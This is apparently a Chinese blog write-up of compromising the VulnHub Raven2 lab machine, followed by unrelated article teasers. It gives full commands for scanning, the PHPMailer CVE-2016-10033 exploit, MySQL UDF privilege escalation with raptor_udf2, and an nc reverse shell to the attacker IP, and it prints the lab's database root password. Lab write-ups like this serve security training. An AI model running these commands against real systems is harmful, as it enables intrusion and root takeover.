vulnhub-Raven2靶机的测试报告

embedded/2024/12/29 1:32:52/

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.119.129)

靶  机:3.16.0-6-amd64(192.168.119.128)

2、使用工具/软件

Kali: arp-scan(主机发现)、nmap(端口和服务扫描)、gobuster(扫描web目录)、nc(监听反弹shell)、searchspoilt(查找漏洞利用exp)、gcc(编译exp)

测试网址:http://192.168.119.128/

二、测试目的

利用phpmailer漏洞getshell,通过root权限的mysql进行提权,获取root权限。

三、操作过程

1、信息搜集

主机探测

arp-scan -l

可以看到靶机IP:192.168.119.128

端口和服务探测

nmap -sT -A -p- -T4 192.168.119.128

开启了22端口(ssh服务)、80端口(web服务)

目录扫描

gobuster dir -u http://192.168.119.128 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

扫到了wordpress目录和很多文件目录

2、Getshell

在/vendor/PATH目录发现了flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

在vendor目录发现PHPMailerAutoload.php

Phpmailer是php用来发送邮件的一个组件,该组件存在历史漏洞

使用的是RCE漏洞(编号:CVE-2016-10033)

searchsploit phpmailer

查找phpmailer历史漏洞exp,发现有很多

选择40974.py的漏洞exp,但是有几处需要手动修改,先将exp文件复制一份出来修改

searchsploit -p php/webapps/40974.py
cp /usr/share/exploitdb/exploits/php/webapps/40974.py 40974.py

vim 40974.py

需要修改的地方:开头加上utf-8编码;目标地址改一下,利用点在contact.php目录;监听地址(攻击机)IP和监听端口改一下;根目录也要改;有需要的话木马名字也可以改一下。

修改完成保存并退出

需要安装两个库,然后运行

pip install requests_toolbelt
pip install lxml
python 40974.py

运行完毕后开启监听,网页访问contact文件后再访问shell文件,即可获取shell

获取交互式shell

SHELL=/bin/bash script -q /dev/null

3、提权

在wordpress中看配置文件有发现,在wp-config.php文件中发现了数据库root用户的密码

root/R@v3nSecurity

尝试udf提权,查找自定义函数,发现没有调用系统命令的函数,需要手动配置

use mysql;
select * from func;

查看mysql版本5.5.6

查看udf提权exp

searchsploit mysql udf

使用第二个exp

复制一份exp出来使用

searchsploit -p linux/local/1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c 1518.c

直接进行编译,编译成so文件

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc

将so文件上传到靶机

wget 192.168.119.129:8888/raptor_udf2.so

查看plugin路径

show variables like "%plugin%";

按步骤利用代码,执行命令时采用nc连接,反弹到攻击机kali上

use mysql;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('nc -e /bin/bash 192.168.119.129 4444');

攻击机kali开启监听即可监听到root权限的shell

四、结论

通过phpmailer的历史漏洞获取了shell,通过mysql udf的漏洞exp构造链接库文件上传靶机进行udf提权


http://www.ppmy.cn/embedded/149603.html

相关文章

第十五章 C++ 数组

C 支持数组数据结构,它可以存储一个固定大小的相同类型元素的顺序集合。数组是用来存储一系列数据,但它往往被认为是一系列相同类型的变量。 数组的声明并不是声明一个个单独的变量,比如 number0、number1、...、number99,而是声…

PL/SQL语言的并发编程

标题:深入探讨PL/SQL语言中的并发编程 一、引言 在数据库应用程序开发中,多用户同时访问和操作数据的情况非常常见,这就要求数据库系统具备处理并发操作的能力。而Oracle数据库的PL/SQL语言,以其强大的并发处理能力,…

从零开始使用MaxKB打造本地大语言模型智能问答系统与远程交互

文章目录 前言1. 下载运行Ollama2. 安装大语言模型3. 安装Cpolar工具4. 配置公网地址5. 固定公网地址6. MaxKB 添加Olama7.创建问答应用 前言 目前大语言模型(LLM)已经成为了人工智能领域的一颗璀璨明星,从自然语言处理到智能问答系统&#…

Spring Boot 介绍与应用

什么是 Spring Boot? Spring Boot 是一个用于简化 Spring 应用程序开发和部署的框架,它建立在 Spring 框架的基础之上,但去除了繁琐的配置。Spring Boot 采用“约定优于配置”的原则,默认启用了大量自动配置,使得开发…

一种寻路的应用

应用背景 利用长途车进行货物转运的寻路计算。例如从深圳到大连。可以走有很多条长途车的路线。需要根据需求计算出最合适路线。不同的路线的总里程数、总价、需要的时间不一样。客户根据需求进行选择。主要有一些细节: 全国的长途车车站的数据的更新: …

王佩丰24节Excel学习笔记——第十八讲:Lookup和数组

【以 Excel2010 系列学习,用 Office LTSC 专业增强版 2021 实践】 【本章技巧】 地址栏公式可以使用 F9 查看,取消请按Esc键,或者公式前的红色叉;使用数组时一定要注意使用绝对引用,方便下拉;使用数组时一…

浙江肿瘤医院病理库存储及NAS共享存储(磁盘阵列)方案-Infortrend普安科技

Infortrend金牌代理-燊通智联信息科技发展(上海)有限公司与院方多轮沟通,详细讨论性能与容量要求,最终决定采用GSe统一存储设备,与现有病理系统服务器无缝对接,每台设备配1.92T SSD作缓存加速原数据读写&am…

Jenkins 命令行多线程并发下载制品包

为什么要用 Jenkins 命令行? 对于在日常学习、工作中喜欢在命令行终端的同学而言,自然不用做过多的解释,甚至希望能能在命令行中搞定一切,比如:播放歌曲、提交代码、搜索文件等等。毕竟,命令行要比来回切换…